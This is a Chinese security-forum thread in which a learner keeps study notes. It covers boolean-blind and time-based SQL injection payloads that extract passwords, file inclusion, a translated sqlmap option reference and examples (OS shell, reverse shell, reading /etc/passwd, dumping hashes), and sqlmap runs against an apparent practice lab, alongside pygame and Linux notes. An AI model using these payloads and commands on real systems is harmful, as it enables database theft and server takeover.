安全矩阵

 找回密码
 立即注册
搜索
楼主: Pluto

李佳瑞学习日记

[复制链接]

7

主题

139

帖子

588

积分

高级会员

Rank: 4

积分
588
 楼主| 发表于 2020-7-12 01:20:00 | 显示全部楼层
回复

使用道具 举报

7

主题

139

帖子

588

积分

高级会员

Rank: 4

积分
588
 楼主| 发表于 2020-7-12 17:56:49 | 显示全部楼层
正则表达式

select '1' regexp '^[a-z]'
判断注入点出了可以用' 还可以用| 或者&
?id=1' 没提示
?id=1’ and 1=1 --+ 又正常
?id=1' and 1=2 --+不正常

判断需要布尔盲注
先利用length判断数据库
?id=1'  and (length(database()))<9--+
判断出长度等于8
然后猜测表名
id=1' and ascii(substr(database(),1,1))<100--+    1指的是第一位  如果猜测第二位 就写2
猜出数据库的名字后然后去猜表名
information_schema这个表一般存放数据
select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>20 --
然后猜测列名
id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))<100 --+
最后猜数据
?id=1' and ascii(substr(( select password from users limit 0,1),1,1))<69 --+

回复

使用道具 举报

7

主题

139

帖子

588

积分

高级会员

Rank: 4

积分
588
 楼主| 发表于 2020-7-14 00:18:17 | 显示全部楼层
时间注入原理:通过页面的延迟时间来判断是否注入成功。需要注意的是,时间注入返回的页面信息一样是没有回显错误的页面,我们只是根据页面延迟时间来进行猜测判断。

相关函数
sleep() if()
select if (5<4,1,3) 如果正确 1  不正确 3
根据源代码,不管是否出错 都显示 You are in......

?id=1' and if(3<5,sleep(10),0)--+  如果等待了10秒   3>5没显示延迟就存在注入
原理和之前类似 方法有些不同 语句改成if语句
?id=1' and if(length(database())<10,0,sleep(10))--+  如果database语句小于10 就直接显示 否则延迟10秒
?id=1' and if(length(database())<5,0,sleep(10))--+
?id=1' and if(length(database())=8,0,sleep(10))--+
猜表名
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>120,0,sleep(10))--+\
猜列名
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))<120,0,sleep(5))--+
猜数据
?id=1' and if(ascii(substr(( select password from users limit 0,1),1,1))<50,0,sleep(5))--+
?id=1' and if(ascii(substr(( select password from users limit 0,1),1,1))=68,0,sleep(5))--+

文件包含 网络教程
分别点开 三个链接查看 发现

page后面是变量  这个参数可以利用和修改
修改为text.php发现找不到文件

显示了文件找不到这个文件,也表示了这个地方可以利用,同时我们还有个以外的收获,爆出了这个web的绝对路径,后面能利用到
xxx.php
之前是file1.php、file2.php、file3.php
肯定是在一个目录里,而这个目录加上文件名形成了绝对路径
就相当于我们前面提到的include()
前面的是固定字段 而xxx.php是我们可控的

回复

使用道具 举报

7

主题

139

帖子

588

积分

高级会员

Rank: 4

积分
588
 楼主| 发表于 2020-7-15 00:44:50 | 显示全部楼层
回复

使用道具 举报

7

主题

139

帖子

588

积分

高级会员

Rank: 4

积分
588
 楼主| 发表于 2020-7-16 00:21:32 | 显示全部楼层
回复

使用道具 举报

7

主题

139

帖子

588

积分

高级会员

Rank: 4

积分
588
 楼主| 发表于 2020-7-16 23:52:05 | 显示全部楼层
本帖最后由 Pluto 于 2020-7-17 00:27 编辑

sql注入 杂项技巧
1.select @@datadir  可以爆出来 mysql 的路径
2.@@version_compile_os 服务器的 类型

3.select database() 当前数据库名称  select (select database() ) 也可以

4.select user() 当前用户名
涉及到权限
5.select version() 服务器版本
可以选择方式


有关linux的操作
打包及解包:tar
tar【选项】 打包文件名 文件
常用参数
-c 生成档案文件,创建打包文件
-v列出归档接档的详细过程显示进度
-f 指定档案文件名称,f后面一定是.tar文件,所以必须放在选项最后 注意:除了f 放在最后其他连个参数随意yasuo
例如 tar -cvf  demo1.tar  1.txt 2.txt  将1.txt和2.txt打包成demo1.tar
-x 解开档案文件
删除 是rm
解包  tar -xvf demo1.tar
压缩用法: tar -jcvf 压缩包报名 文件
解压用法: tar-jxvf 压缩包报名
例如:tar -jcvf demo.bz2  1.txt 2.txt    压缩成 demo.bz2
tar -jcvf demo2.bz2  1.txt 1.txt  压缩成demo2.bz2
解压 tar -jxvf demo2.bz2

zip压格式
通过zip压缩文件的目标文件不需要指定的扩展名 ,默认
扩展名:zip
压缩文件:zip 目标文件
j解压文件:unzip -d 路径  压缩文件
例如:zip demo3 1.txt 2.txt
tree 是目录式的方式显示


回复

使用道具 举报

7

主题

139

帖子

588

积分

高级会员

Rank: 4

积分
588
 楼主| 发表于 2020-7-19 00:07:12 | 显示全部楼层
本帖最后由 Pluto 于 2020-7-19 00:08 编辑

python复习  根据一个游戏 复习gil全局解释器锁  (网上 题材)
  1. #导入模块
  2. import pygame
  3. import sys

  4. #对pygame 进行实例化, 叫做硬件准备
  5. pygame.init()

  6. #创立窗口  set_mode([400,400])

  7. window = pygame.display.set_mode([512,768])

  8. #设置游戏窗口的标题
  9. pygame.display.set_caption("飞机大战")

  10. #加载本地资源图片
  11. logo_image = pygame.image.load("res/app.ico")

  12. #设置游戏窗口logo
  13. pygame.display.set_icon(logo_image)

  14. #游戏背景图
  15. bg_image = pygame.image.load("res/img_bg_level_2.jpg")

  16. #添加飞机背景
  17. hero_image = pygame.image.load("res/hero2.png")

  18. #获取飞机矩形
  19. hero_image_rect = hero_image.get_rect()





  20. #死循环 在死循环中监听鼠标事件 与键盘事件
  21. def event():
  22.     #获取所有游戏窗口内的事件监听 -> 列表
  23.     event_list = pygame.event.get()
  24.     #循环遍历所有事件
  25.     for event in event_list:
  26.         #判断鼠标点击了的操作
  27.         if event.type == pygame.QUIT:
  28.             #退出游戏
  29.             pygame.quit()
  30.             #退出程序
  31.             sys.exit()
复制代码
  1. #监听键盘上的操作
  2.     if event.type == pygame.KEYDOWN:

  3.         if event.key == pygame.K_ESCAPE:
  4.             #退出游戏
  5.             pygame.quit()
  6.             # 退出程序
  7.             sys.exit()
复制代码
  1. #监听键盘中的长按事件-> 元组(只有两种情况 0 或者 1)
  2. pressed_keys = pygame.key.get_pressed()

  3. #判断向上的按键是否在长按(1)
  4. if pressed_keys[pygame.K_UP] or pressed_keys[pygame.K_w]:
  5.     print("向上")

  6. #判断向下按键是否在长按(1)

  7. if pressed_keys[pygame.K_DOWN] or pressed_keys[pygame.K_s]:
  8.     print("向下")

  9. # 判断向左按键是否在长按(1)

  10. if pressed_keys[pygame.K_LEFT] or pressed_keys[pygame.K_a]:
  11.     print("向左")

  12. # 判断向右按键是否在长按(1)

  13. if pressed_keys[pygame.K_RIGHT] or pressed_keys[pygame.K_d]:
  14.     print("向右")
复制代码
  1. while True:

  2. # 添加到游戏里面

  3. ​    window.blit(bg_image, (0, 0))
  4. ​    window.blit(hero_image, (hero_image_rect[0],hero_image_rect[1]))
复制代码
  1. # 刷新窗口

  2. pygame.display.update()
  3. # 改变图片的位置
  4. hero_image_rect.move_ip(3,3)

  5. event()
复制代码
  1. import pygame, sys ,random

  2. # 定义常量

  3. WINDOW_WIDTH, WINDOW_HEIGHT = 512, 768
  4. #自定义地图类
  5. class GameMap(object):
复制代码
  1. #定义地图初始化
  2. def __init__(self):
  3.     # 定义1到5的随机数
  4.     self.num = str(random.randint(1,5))
  5.     #图片
  6.     self.img_1 = pygame.image.load("res/img_bg_level_"+ self.num +".jpg")
  7.     self.img_2 = pygame.image.load("res/img_bg_level_" + self.num + ".jpg")

  8.     #设置和记录图片的Y轴
  9.     self.img_1_y = -WINDOW_HEIGHT
  10.     self.img_2_y = 0

  11.     #速度
  12.     self.speed = 2

  13. #向下移动
  14. def move_down(self):
  15.     #重置地图Y轴
  16.     if self.img_1_y >= 0:
  17.         self.img_1_y = - WINDOW_HEIGHT
  18.         self.img_2_y = 0

  19.     self.img_1_y += self.speed
  20.     self.img_2_y += self.speed
复制代码
  1. #自定义游戏窗口的管理类
  2. class GameWindow(object):
复制代码
  1. def __init__(self):
  2.     # 对pygame 进行实例化, 叫做硬件准备
  3.     pygame.init()

  4.     # 创立窗口  set_mode([400,400])

  5.     self.window = pygame.display.set_mode([WINDOW_WIDTH,WINDOW_HEIGHT ])

  6.     # 设置游戏窗口的标题
  7.     pygame.display.set_caption("飞机大战")

  8.     # 加载本地资源图片
  9.     logo_image = pygame.image.load("res/app.ico")

  10.     # 设置游戏窗口logo
  11.     pygame.display.set_icon(logo_image)

  12.     #地图对象
  13.     self.map = GameMap()

  14. #定义各种矩形的坐标移动
  15. def __action(self):
  16.     self.map.move_down()
复制代码
  1. #根据矩形的坐标, 重新对元素进行描绘
  2. def __draw(self):
  3.     self.window.blit(self.map.img_1,(0,self.map.img_1_y))
  4.     self.window.blit(self.map.img_2,(0,self.map.img_2_y))
复制代码
  1. #处理窗口中的监听事件
  2. def __event(self):
  3.     # 获取所有游戏窗口内的事件监听 -> 列表
  4.     event_list = pygame.event.get()
  5.     # 循环遍历所有事件
  6.     for event in event_list:
  7.         # 判断鼠标点击了的操作
  8.         if event.type == pygame.QUIT:
  9.             self.game_over()

  10.         # 监听键盘上的操作
  11.         if event.type == pygame.KEYDOWN:

  12.             if event.key == pygame.K_ESCAPE:
  13.                self.game_over()

  14.             if event.key == pygame.K_SPACE:
  15.                 print("发射子弹")
复制代码
  1.     # 监听键盘中的长按事件-> 元组(只有两种情况 0 或者 1)
  2.     pressed_keys = pygame.key.get_pressed()

  3.     # 判断向上的按键是否在长按(1)
  4.     if pressed_keys[pygame.K_UP] or pressed_keys[pygame.K_w]:
  5.         print("向上")

  6.     # 判断向下按键是否在长按(1)

  7.     if pressed_keys[pygame.K_DOWN] or pressed_keys[pygame.K_s]:
  8.         print("向下")

  9.     # 判断向左按键是否在长按(1)

  10.     if pressed_keys[pygame.K_LEFT] or pressed_keys[pygame.K_a]:
  11.         print("向左")

  12.     # 判断向右按键是否在长按(1)

  13.     if pressed_keys[pygame.K_RIGHT] or pressed_keys[pygame.K_d]:
  14.         print("向右")

  15. def __update(self):
  16.     pygame.display.update()

  17. def game_over(self):
  18.     # 退出游戏
  19.     pygame.quit()
  20.     # 退出程序
  21.     sys.exit()

  22. def run(self):

  23.     while True:
  24.         self.__action()
  25.         self.__draw()
  26.         self.__event()
  27.         self.__update()
复制代码
  1. #主函数
  2. def main():
  3.     game_window = GameWindow()
  4.     game_window.run()

  5. if __name__ == '__main__':
  6.     main()

复制代码


回复

使用道具 举报

7

主题

139

帖子

588

积分

高级会员

Rank: 4

积分
588
 楼主| 发表于 2020-7-19 23:06:56 | 显示全部楼层
sqlmap  使用
可以自动探测和利用SQL注入漏洞来接管数据库服务器。它配备了个强大的探测引擎,为最终渗透测试人员提供很多猥琐的功能,可以拖库,可以访问底层的文件系统,还可以通过带外连接执行操作系统上的命令。
教程内容:

Options(选项):

--
version 显示程序的版本号并退出

-
h,
--
help 显示此帮助消息并退出

-
v VERBOSE 详细级别:0
-
6(默认为 1
Target(目标):
以下至少需要设置其中

个选项,设置目标 URL。

-
d DIRECT 直接连接到数据库。

-
u URL,
--
url
=
URL 目标 URL。

-
l LIST 从 Burp 或 WebScarab 代理的日志中解析目标。

-
r REQUESTFILE 从

个文件中载入 HTTP 请求。

-
g GOOGLEDORK 处理 Google dork 的结果作为目标 URL。

-
c CONFIGFILE 从 INI 配置文件中加载选项。
Request(请求)::
这些选项可以用来指定如何连接到目标 URL。

--
data
=
DATA 通过 POST 发送的数据字符串

--
cookie
=
COOKIE HTTP Cookie 头

--
cookie
-
urlencode URL 编码生成的 cookie 注入

--
drop
-
set
-
cookie 忽略响应的 Set
-
Cookie 头信息
--
user
-
agent
=
AGENT 指定 HTTP User
-
Agent 头

--
random
-
agent 使用随机选定的 HTTP User
-
Agent 头

--
referer
=
REFERER 指定 HTTP Referer 头

--
headers
=
HEADERS 换行分开,加入其他的 HTTP 头

--
auth
-
type
=
ATYPE HTTP 身份验证类型(基本,摘要或 NTLM)(Basic, Digest or NTLM)

--
auth
-
cred
=
ACRED HTTP 身份验证凭据(用户名:密码)

--
auth
-
cert
=
ACERT HTTP 认证证书(key_file,cert_file)

--
proxy
=
PROXY 使用 HTTP 代理连接到目标 URL

--
proxy
-
cred
=
PCRED HTTP 代理身份验证凭据(用户名:密码)

--
ignore
-
proxy 忽略系统默认的 HTTP 代理

--
delay
=
DELAY 在每个 HTTP 请求之间的延迟时间,单位为秒

--
timeout
=
TIMEOUT 等待连接超时的时间(默认为 30 秒)

--
retries
=
RETRIES 连接超时后重新连接的时间(默认 3)

--
scope
=
SCOPE 从所提供的代理日志中过滤器目标的正则表达式

--
safe
-
url
=
SAFURL 在测试过程中经常访问的 url 地址
--
safe
-
freq
=
SAFREQ 两次访问之间测试请求,给出安全的 URL
Optimization(优化):
这些选项可用于优化 SqlMap 的性能。

-
o 开启所有优化开关

--
predict
-
output 预测常见的查询输出

--
keep
-
alive 使用持久的 HTTP(S)连接

--
null
-
connection 从没有实际的 HTTP 响应体中检索页面长度

--
threads
=
THREADS 最大的 HTTP(S)请求并发量(默认为 1)
Injection(注入):
这些选项可以用来指定测试哪些参数, 提供自定义的注入 payloads 和可选篡改脚本。

-
p TESTPARAMETER 可测试的参数(S)

--
dbms
=
DBMS 强制后端的 DBMS 为此值

--
os
=
OS 强制后端的 DBMS 操作系统为这个值

--
prefix
=
PREFIX 注入 payload 字符串前缀

--
suffix
=
SUFFIX 注入 payload 字符串后缀

--
tamper
=
TAMPER 使用给定的脚本(S)篡改注入数据
Detection(检测):
这些选项可以用来指定在 SQL 盲注时如何解析和比较 HTTP 响应页面的内容。

--
level
=
LEVEL 执行测试的等级(1
-
5,默认为 1)

--
risk
=
RISK 执行测试的风险(0
-
3,默认为 1)

--
string
=
STRING 查询时有效时在页面匹配字符串

--
regexp
=
REGEXP 查询时有效时在页面匹配正则表达式

--
text
-
only 仅基于在文本内容比较网页
Techniques(技巧):
这些选项可用于调整具体的 SQL 注入测试。

--
technique
=
TECH SQL 注入技术测试(默认 BEUST)

--
time
-
sec
=
TIMESEC DBMS 响应的延迟时间(默认为 5 秒)

--
union
-
cols
=
UCOLS 定列范围用于测试 UNION 查询注入

--
union
-
char
=
UCHAR 用于暴力猜解列数的字符
Fingerprint(指纹):

-
f,
--
fingerprint 执行检查广泛的 DBMS 版本指纹
Enumeration(枚举):
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己
的 SQL 语句。

-
b,
--
banner 检索数据库管理系统的标识

--
current
-
user 检索数据库管理系统当前用户

--
current
-
db 检索数据库管理系统当前数据库

--
is
-
dba 检测 DBMS 当前用户是否 DBA

--
users 枚举数据库管理系统用户

--
passwords 枚举数据库管理系统用户密码哈希

--
privileges 枚举数据库管理系统用户的权限

--
roles 枚举数据库管理系统用户的角色

--
dbs 枚举数据库管理系统数据库

--
tables 枚举的 DBMS 数据库中的表

--
columns 枚举 DBMS 数据库表列

--
dump 转储数据库管理系统的数据库中的表项

--
dump
-
all 转储所有的 DBMS 数据库表中的条目

--
search 搜索列(S),表(S)和/或数据库名称(S)

-
D DB 要进行枚举的数据库名

-
T TBL 要进行枚举的数据库表

-
C COL 要进行枚举的数据库列

-
U USER 用来进行枚举的数据库用户

--
exclude
-
sysdbs 枚举表时排除系统数据库

--
start
=
LIMITSTART 第

个查询输出进入检索

--
stop
=
LIMITSTOP 最后查询的输出进入检索

--
first
=
FIRSTCHAR 第

个查询输出字的字符检索

--
last
=
LASTCHAR 最后查询的输出字字符检索

--
sql
-
query
=
QUERY 要执行的 SQL 语句

--
sql
-
shell 提示交互式 SQL 的 shell
Brute force(蛮力):
这些选项可以被用来运行蛮力检查。

--
common
-
tables 检查存在共同表

--
common
-
columns 检查存在共同列
User
-
defined function injection(用户自定义函数注入):
这些选项可以用来创建用户自定义函数。

--
udf
-
inject 注入用户自定义函数

--
shared
-
lib
=
SHLIB 共享库的本地路径
File system access(访问文件系统):
这些选项可以被用来访问后端数据库管理系统的底层文件系统。

--
file
-
read
=
RFILE 从后端的数据库管理系统文件系统读取文件

--
file
-
write
=
WFILE 编辑后端的数据库管理系统文件系统上的本地文件

--
file
-
dest
=
DFILE 后端的数据库管理系统写入文件的绝对路径
Operating system access(操作系统访问):
这些选项可以用于访问后端数据库管理系统的底层操作系统。

--
os
-
cmd
=
OSCMD 执行操作系统命令

--
os
-
shell 交互式的操作系统的 shell

--
os
-
pwn 获取

个 OOB shell,meterpreter 或 VNC

--
os
-
smbrelay

键获取

个 OOB shell,meterpreter 或 VNC

--
os
-
bof 存储过程缓冲区溢出利用

--
priv
-
esc 数据库进程用户权限提升

--
msf
-
path
=
MSFPATH Metasploit Framework 本地的安装路径

--
tmp
-
path
=
TMPPATH 远程临时文件目录的绝对路径
Windows 注册表访问:
这些选项可以被用来访问后端数据库管理系统 Windows 注册表。

--
reg
-
read 读

个 Windows 注册表项值

--
reg
-
add 写

个 Windows 注册表项值数据

--
reg
-
del 删除 Windows 注册表键值

--
reg
-
key
=
REGKEY Windows 注册表键

--
reg
-
value
=
REGVAL Windows 注册表项值

--
reg
-
data
=
REGDATA Windows 注册表键值数据

--
reg
-
type
=
REGTYPE Windows 注册表项值类型
General(

般):

这些选项可以用来设置



般的工作参数。

-
t TRAFFICFILE 记录所有 HTTP 流量到

个文本文件中

-
s SESSIONFILE 保存和恢复检索会话文件的所有数据

--
flush
-
session 刷新当前目标的会话文件

--
fresh
-
queries 忽略在会话文件中存储的查询结果

--
eta 显示每个输出的预计到达时间

--
update 更新 SqlMap

--
save file 保存选项到 INI 配置文件

--
batch 从不询问用户输入,使用所有默认配置。
Miscellaneous(杂项):

--
beep 发现 SQL 注入时提醒

--
check
-
payload IDS 对注入 payloads 的检测测试

--
cleanup SqlMap 具体的 UDF 和表清理 DBMS

--
forms 对目标 URL 的解析和测试形式

--
gpage
=
GOOGLEPAGE 从指定的页码使用谷歌 dork 结果

--
page
-
rank Google dork 结果显示网页排名(PR)

--
parse
-
errors 从响应页面解析数据库管理系统的错误消息

--
replicate 复制转储的数据到

个 sqlite3 数据库

--
tor 使用默认的 Tor(Vidalia/ Privoxy/ Polipo)代理地址

--
wizard 给初级用户的简单向导界面
什么是 OOB?
传输层协议使用带外数据(out
-
of
-
band,OOB)来发送

些重要的数据,如果通信

方有
重要的数据需要通知对方时,协议能够将这些数据快速地发送到对方
.
为了发送这些数据,协


般不使用与普通数据相同的通道,而是使用另外的通道.linux 系统的套接字机制支持
低层协议发送和接受带外数据
.
但是 TCP 协议没有真正意义上的带外数据
.
为了发送重要协
议,TCP提供了

种称为紧急模式(urgentmode)的机制
.TCP协议在数据段中设置URG位,表示
进入紧急模式
.
接收方可以对紧急模式采取特殊的处理.
很容易看出来,这种方式数据不容易
被阻塞,可以通过在我们的服务器端程序里面捕捉 SIGURG 信号来及时接受数据或者使用带
OOB 标志的 recv 函数来接受
.


使用笔记 :
-
u #注入点
-
f #指纹判别数据库类型
-
b #获取数据库版本信息
-
p #指定可测试的参数(?page
=
1&id
=
2
-
p
"
page,id
"
)
-
D
""
#指定数据库名
-
T
""
#指定表名
-
C
""
#指定字段
-
s
""
#保存注入过程到

个文件,还可中断,下次恢复在注入(保存:
-
s
"
xx.log
"
恢复:
-
s
"
xx.log
" --
resume)
--
level
=
(1
-
5)#要执行的测试水平等级,默认为 1
--
risk
=
(0
-
3) #测试执行的风险等级,默认为 1
--
time
-
sec
=
(2,5)#延迟响应,默认为 5
--
data#通过 POST 发送数据
--
columns #列出字段
--
current
-
user #获取当前用户名称
--
current
-
db #获取当前数据库名称
--
users #列数据库所有用户
--
passwords #数据库用户所有密码
--
privileges #查看用户权限(
--
privileges
-
U root)
-
U #指定数据库用户
--
dbs #列出所有数据库
--
tables
-
D
""
#列出指定数据库中的表
--
columns
-
T
"
user
"-
D
"
mysql
"
#列出 mysql 数据库中的 user 表的所有字段
--
dump
-
all #列出所有数据库所有表
--
exclude
-
sysdbs #只列出用户自己新建的数据库和表
--
dump
-
T
""-
D
""-
C
""
#列出指定数据库的表的字段的数据(
--
dump
-
T users
-
D
master
-
C surname)
--
dump
-
T
""-
D
""--
start 2
--
top4 # 列出指定数据库的表的 2
-
4 字段的数据
--
dbms # 指 定 数 据 库 (MySQL,Oracle,PostgreSQL,Microsoft SQL
Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)
--
os #指定系统(Linux,Windows)
-
v #详细的等级(0
-
6)
0:只显示 Python 的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示 HTTP 请求。
5:显示 HTTP 响应头。
6:显示 HTTP 响应页面的内容
--
privileges #查看权限
--
is
-
dba #是否是数据库管理员
--
roles #枚举数据库用户角色
--
udf
-
inject #导入用户自定义函数(获取系统权限)
--
union
-
check #是否支持 union 注入--
union
-
cols#union 查询表记录
--
union
-
test#union 语句测试
--
union
-
use #采用 union 注入
--
union
-
tech orderby#union 配合 order by
--
data
""
#POST 方式提交数据(
--
data
"
page
=
1&id
=
2
"
)
--
cookie
"
用 ; 号 分 开
"
#cookie 注 入
(
--
cookies
=

PHPSESSID
=
mvijocbglq6pi463rlgk1e4v52; security
=
low

)
--
referer
""
#使用 referer 欺骗(
--
referer
"
http://www.baidu.com
"
)--
user
-
agent
""
#自定义 user
-
agent
--
proxy
"
http://127.0.0.1:8118
"
#代理注入
--
string
=""
#指定关键词,字符串匹配
.
--
threads #采用多线程(
--
threads 3)
--
sql
-
shell #执行指定 sql 命令
--
sql
-
query # 执 行 指 定 的 sql 语 句 (
--
sql
-
query
"
SELECT password FROM
mysql.user WHERE user
= '
root
'
LIMIT 0, 1
"
)
--
file
-
read #读取指定文件
--
file
-
write #写入本地文件(
--
file
-
write /test/test.txt
--
file
-
dest /var/www/html/1.txt;
将本地的 test.txt 文件写入到目标的 1.txt)--
file
-
dest #要写入的文件绝对路径
--
os
-
cmd
=
id #执行系统命令
--
os
-
shell #系统交互 shell
--
os
-
pwn #反弹 shell(
--
os
-
pwn
--
msf
-
path
=
/opt/framework/msf3/)
--
msf
-
path
=
#matesploit 绝对路径(
--
msf
-
path
=
/opt/framework/msf3/)--
os
-
smbrelay #
--
os
-
bof #
--
reg
-
read #读取 win 系统注册表
--
priv
-
esc #
--
time
-
sec
=
#延迟设置 默认
--
time
-
sec
=
5 为 5 秒
-
p
"
user
-
agent
"--
user
-
agent
"
sqlmap/0.7rc1 (http://sqlmap
.sourceforge.net)
"
# 指 定
user
-
agent 注入
--
eta #盲注
/pentest/database/sqlmap/txt/
common
-
columns.txt 字段字典
common
-
outputs.txt
common
-
tables.txt 表字典
keywords.txt
oracle
-
default
-
passwords.txt
user
-
agents.txt
wordlist.txt
常用语句
1.
./sqlmap
.
py
-
u http://www.xxxxx.com/test.
php?p
=
2
-
f
-
b
--
current
-
user
--
current
-
db--
users
--
passwords
--
dbs
-
v0
2.
./sqlmap
.
py
-
u http://www.xxxxx.com/test.
php?p
=
2
-
b
--
passwords
-
U root
--
union
-
use
-
v2
3.
./sqlmap
.
py
-
u http://www.xxxxx.com/test.
php?p
=
2
-
b
--
dump
-
Tusers
-
C username
-
D
userdb
--
start 2
--
stop 3
-
v2
4.
./sqlmap
.
py
-
u http://www.xxxxx.com/test.
php?p
=
2
-
b
--
dump
-
C
"
user,pass
" -
v 1
--
exclude
-
sysdbs
5.
./sqlmap
.
py
-
u http://www.xxxxx.com/test.
php?p
=
2
-
b
--
sql
-
shell
-
v2
6.
./sqlmap
.
py
-
u http://www.xxxxx.com/test.
php?p
=
2
-
b
--
file
-
read
"
c:\boot.ini
"-
v2
7.
./sqlmap
.
py
-
u http://www.xxxxx.com/test.
php?p
=
2
-
b
--
file
-
write/test/test.txt
--
file
-
dest/var/www/html/1.txt
-
v2
8.
./sqlmap
.
py
-
u http://www.xxxxx.com/test.
php?p
=
2
-
b
--
os
-
cmd
"
id
"-
v1
9.
./sqlmap
.
py
-
u http://www.xxxxx.com/test.
php?p
=
2
-
b
--
os
-
shell
--
union
-
use
-
v2
10.
./sqlmap
.
py
-
u http://www.xxxxx.com/test.
php?p
=
2
-
b
--
os
-
pwn
--
msf
-
path
=
/opt/framework/msf3
--
priv
-
esc
-
v1
11.
./sqlmap
.
py
-
u http://www.xxxxx.com/test.
php?p
=
2
-
b
--
os
-
pwn
--
msf
-
path
=
/opt/framework/msf3
-
v1
12.
./sqlmap
.
py
-
u http://www.xxxxx.com/test.
php?p
=
2
-
b
--
os
-
bof
--
msf
-
path
=
/opt/framework/msf3
-
v1
13.
./sqlmap
.
py
-
u http://www.xxxxx.com/test.
php?p
=
2
--
reg
-
add
--
reg
-
key
="
HKEY_LOCAL_NACHINE\SOFEWARE\sqlmap
"--
reg
-
value
=
Test
--
reg
-
type
=
REG_SZ
--
reg
-
data
=
1
14.
./sqlmap
.
py
-
u http://www.xxxxx.com/test.
php?p
=
2
-
b
--
eta
15.
./sqlmap
.
py
-
u
"
http://192.168.136.131/sqlmap/mysql/get_str_brackets.
php?id
=
1
"-
pid
--
prefix
"'
)
"--
s
uffix
"
AND (
'
abc
'='
abc
"
16.
./sqlmap
.
py
-
u
"
http://192.168.136.131/sqlmap/mysql/basic/get_int.
php?id
=
1
"--
auth
-
typeBasic
--
auth
-
cred
"
testuser:testpass
"17.
./sqlmap
.
py
-
l burp
.log
--
scope
="
(www)?\.target\.
(com|net|org)
"
18.
./sqlmap
.
py
-
u
"
http://192.168.136.131/sqlmap/mysql/get_int.
php?id
=
1
"--
tamper
tamper/between.
py,tamper/randomcase.
py,tamper/space2comment.
py
-
v3
19.
./sqlmap
.
py
-
u
"
http://192.168.136.131/sqlmap/mssql/get_int.
php?id
=
1
"--
sql
-
query
"
SELECT
'
foo
'"-
v1
20.
./sqlmap
.
py
-
u
"
http://192.168.136.129/mysql/get_int_4.
php?id
=
1
"--
common
-
tables
-
D testdb
--
banner
21.
./sqlmap
.
py
-
u
"
http://192.168.136.129/mysql/get_int_4.
php?id
=
1
"--
cookie
="
PHPSESSID
=
mvijoc
bglq6pi463rlgk1e4v52; security
=
low
"--
string
='
xx
'--
dbs
--
level
=
3
-
p
"
uid
"
简单的注入流程
1.
读取数据库版本,当前用户,当前数据库
sqlmap
-
u http://www.xxxxx.com/test.
php?p
=
2
-
f
-
b
--
current
-
user
--
current
-
db
-
v1
2.
判断当前数据库用户权限
sqlmap
-
u http://www.xxxxx.com/test.
php?p
=
2
--
privileges
-
U 用户名
-
v1
sqlmap
-
u http://www.xxxxx.com/test.
php?p
=
2
--
is
-
dba
-
U 用户名
-
v1
3.
读取所有数据库用户或指定数据库用户的密码
sqlmap
-
u http://www.xxxxx.com/test.
php?p
=
2
--
users
--
passwords
-
v2
sqlmap
-
u http://www.xxxxx.com/test.
php?p
=
2
--
passwords
-
U root
-
v2
4.
获取所有数据库
sqlmap
-
u http://www.xxxxx.com/test.
php?p
=
2
--
dbs
-
v2
5.
获取指定数据库中的所有表
sqlmap
-
u http://www.xxxxx.com/test.
php?p
=
2
--
tables
-
D mysql
-
v2
6.
获取指定数据库名中指定表的字段
sqlmap
-
u http://www.xxxxx.com/test.
php?p
=
2
--
columns
-
D mysql
-
Tusers
-
v2
7.
获取指定数据库名中指定表中指定字段的数据
sqlmap
-
u http://www.xxxxx.com/test.
php?p
=
2
--
dump
-
D mysql
-
Tusers
-
C
"
username,password
"-
s
"
sqlnmapdb.log
"-
v2
8.file
-
read 读取 web 文件
sqlmap
-
u http://www.xxxxx.com/test.
php?p
=
2
--
file
-
read
"
/etc/passwd
"-
v2
9.file
-
write 写入文件到 web
sqlmap
-
u http://www.xxxxx.com/test.
php?p
=
2
--
file
-
write/localhost/mm.
php
--
file
-
dest/var/www/html/xx.
php -v2


回复

使用道具 举报

7

主题

139

帖子

588

积分

高级会员

Rank: 4

积分
588
 楼主| 发表于 2020-7-21 23:28:59 | 显示全部楼层
之前只是看了一下sqlmap的内容没有实践,因为之前下载好的sqlmap被杀毒软件删了  ,今天重新下载了并且 弄好了环境
下载步骤:
安装好 python27  和sqlmap
下载sqlmap之后解压、将目录重命令为sqlmap
然后将sqlmap复制到Python的安装目录下,如下图所示
然后在桌面新建立一个cmd的快捷方式
并命名为叫“sqlmap”
点击完成
桌面上就会多出一个sqlmap的快捷方式、然后右键属性
然后在新建快捷方式上右键“属性”,将“起始位置”修改为 C:\Python27\sqlmap,然后确定;
双击刚才创建的快捷方式,输入sqlmap.py -h,出现如下信息则表示安装成功。









回复

使用道具 举报

7

主题

139

帖子

588

积分

高级会员

Rank: 4

积分
588
 楼主| 发表于 2020-7-25 00:03:56 | 显示全部楼层
本帖最后由 Pluto 于 2020-7-25 00:57 编辑

安好了 kail虚拟机很多内容打算重新来一次 因为 有了虚拟机很多程序和软件不用自己配置了 在内容上也更容易跟着做了
首先是sqlmap的内容
-- 长参数
- 加字母 短参数
sqlmap -u http://j.smatrix.org:40000/Less-1/?id=1 -p id   判断是否存在注入 以及 注入的类型是什么
sqlmap -u http://j.smatrix.org:40000/Less-1/?id=1 --dbs --dbms MYSQL

得到了 里面有哪些数据库

sqlmap http://j.smatrix.org:40000/Less-1/?id=1 -D security --tables

跑出表名   

然后找user里面的数据
sqlmap http://j.smatrix.org:40000/Less-1/?id=1 -D security -T user --columns



接下来 跑数据
sqlmap http://j.smatrix.org:40000/Less-1/?id=1 -D security -T users -C "username,password"  --dump                             (dump是用来弹出最后的数据的)








其他用法

sqlmap http://j.smatrix.org:40000/Less-1/?id=1 --current -user   爆出当前用户

sqlmap http://j.smatrix.org:40000/Less-1/?id=1 --current -db 爆出当前数据库
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 04:30 , Processed in 0.445393 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

